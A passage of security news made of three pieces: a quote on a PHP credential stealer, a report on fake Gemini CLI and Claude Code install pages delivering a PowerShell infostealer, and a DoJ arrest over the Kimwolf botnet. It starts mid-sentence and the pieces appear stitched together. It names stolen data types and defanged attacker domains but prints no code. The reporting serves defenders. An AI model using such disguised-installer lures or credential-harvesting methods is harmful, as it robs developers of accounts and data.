CyberGhost, and Mullvad "The fetched payload is a ~5,900 line PHP credential stealer, organised into fifteen specialist collector modules," Aikido researcher Ilyas Makari said. "After collecting everything it can find, it encrypts the results with AES-256 and sends them to flipboxstudio[.]info/exfil. It then deletes itself from the disk to limit forensic evidence."

Security researchers at EclecticIQ have uncovered a new malicious campaign in which cyber threat actors created fake sites posing as Google Gemini’s coding tool and Anthropic’s Claude Code to deliver information stealing malware. The initial warning came from an independent security research, known as @g0njxa on social media. On April 21, they flagged on X an impersonation campaign exploiting Gemini command line interface (CLI), a feature that lets developers interact with Gemini AI models directly from their terminal. EclecticIQ researchers investigated the campaign based on these findings. They found that the threat actor started deploying malicious domains in early March 2026. They also assessed that the campaign is likely geographically tailored to target users in the US and the UK, as evidenced by the selection of .co.uk, .us.com and .us.org top-level domains in some of the attacker-controlled domains. Infostealer Capabilities To ensure these domains would be attractive to their targets, SEO poisoning methods were used to surface fake domains above legitimate results, directing victims to attacker-controlled infrastructure that mimics genuine AI agent installation pages. The domains lead to an infostealer that targets Windows endpoints and executes entirely in memory through PowerShell, harvesting credentials and sensitive data from a wide range of applications before exfiltrating the results in encrypted form to a command-and-control (C2) server. “The stealer's collection scope reveals a deliberate focus on enterprise users and developer workstations,” the EclecticIQ researchers noted in a May 21 report. It targets both Chromium-family browsers, like Chrome, Edge and Brave, as well as Firefox, to extract login credentials, session cookies, autofill data and form history. Beyond browsers, the script directly targets collaboration and communication platforms that are standard in corporate environments. These include: Slack: local state key extraction and network cookies Microsoft Teams: EBWebView cache cookies under LocalAppData, with DPAPI-protected local state decryption Discord: local storage LevelDB files and local state Mattermost: session cookies and local state Zoom: DPAPI-protected win_osencrypt_key extracted from Zoom.us.ini Telegram Desktop: tdata session directory LiveChat, Notion, Zoho Mail Desktop: session cookies and partitioned storage data EclicticIQ noted that a session cookie or a local state key from any of these platforms grants authenticated access to the victim's workspace, including internal channels, shared files, client communications and connected integrations. The infostealers also collects data from remote access tools, OpenVPN configuration files, cryptocurrency wallets (e.g. Brave Wallet preferences and Spectre wallet data), cloud storage (e.g. Proton Drive, iCloud Drive, Google Drive, MEGA, OneDrive) and user files and system metadata. Finally, it allows the attacker to perform arbitrary remote code execution tasks on the victim’s device. Financially motivated cybercriminals typically leverage such capabilities to transition into hands-on-keyboard intrusions against selected victims and execute interactive code within the compromised environment. Gemini CLI Attack Chain Targeted victims who think they are visiting Gemini CLI are instead directed to fake installation page geminicli[.]co[.]com, which displays what appears to be a legitimate installation instruction. The page prompts the user to copy and paste a PowerShell command into their terminal. When executed, the command reaches out to gemini-setup[.]com to download the infostealer downloader payload. Once downloading is finished, the infostealer establishes a connection to C2 server hosted at events[.]msft23[.]com, an infrastructure used to receive exfiltrated data from compromised hosts. Claude Code Attack Chain On March 30, EclicticIQ observed that someone registered two additional domains impersonating Claude Code, claudecode[.]co[.]com and claude-setup[.]com. In a similar pattern as with the Gemini CLI impersonation, the malicious domain claudecode[.]co[.]com hosts a cloned installation page visually consistent with Anthropic's official documentation and presents the user with a PowerShell command to ‘install’ the tool, while claude-setup[.]com hosts the final payload that was downloaded. After the execution, the infostealer malware sends exfiltrated data to events[.]ms709[.]com, which serves as the C2 server for the Claude Code impersonation campaign. The similarities between both attack chains strongly suggest a single threat actor is behind both campaigns. Image credits: Stock all / aileenchik / Shutterstock.com

The U.S. Department of Justice (DoJ) on Thursday announced the arrest of a Canadian man in connection with allegedly operating a distributed denial-of-service (DDoS) botnet known as Kimwolf. In tandem, Jacob Butler (aka Dort), 23, Ottawa, Canada, has been charged with offenses related to the development and operation of the botnet. Kimwolf is assessed to be a variant of AISURU that specifically infected Android devices with an exposed Android Debug Bridge (ADB) service. "Kimwolf targeted infected devices which were traditionally 'firewalled' from the rest of the internet, such as digital photo frames and web cameras," the DoJ said. "The infected devices were enslaved by the botnet operators." "The operators then used a 'cybercrime-as-a-service' model to sell access to the infected devices to other cybercriminals. The operators and their customers forced the victim devices to participate in DDoS attacks, targeting computers and servers located throughout the world, including Department of Defense Information Network (DoDIN) IP addresses." Court documents show that Butler was linked to the administration of the Kimwolf botnet through IP address, online account information, and Discord message records posted by an account called resi[.]to. That Butler was behind the Kimwolf botnet was first exposed by independent security journalist Brian Krebs earlier this February. At that time, the defendant claimed that he had not used the "Dort" persona since 2021 and that some other party was impersonating him after compromising his old account. The charges come exactly two months after U.S. authorities, in partnership with Canada and Germany, disrupted the command-and-control (C2) infrastructure associated with Kimwolf, AISURU, JackSkid, and Mossad as part of a court-authorized law enforcement operation. Per the DoJ, Kimwolf is estimated to have issued over 25,000 attack commands. Prior to their takedown, the AISURU/Kimwolf botnets were attributed to some of the record-setting DDoS attacks to date, flooding targets with junk traffic that peaked at 31.4 Terabits per second (Tbps). Besides Butler's arrest, seizure warrants have been unsealed targeting online services supporting 45 DDoS-for-hire platforms, allowing law enforcement to dismantle them. One of the platforms is said to have collaborated with Kimwolf. Butler has been charged with one count of aiding and abetting computer intrusion. If convicted, he faces up to 10 years in prison.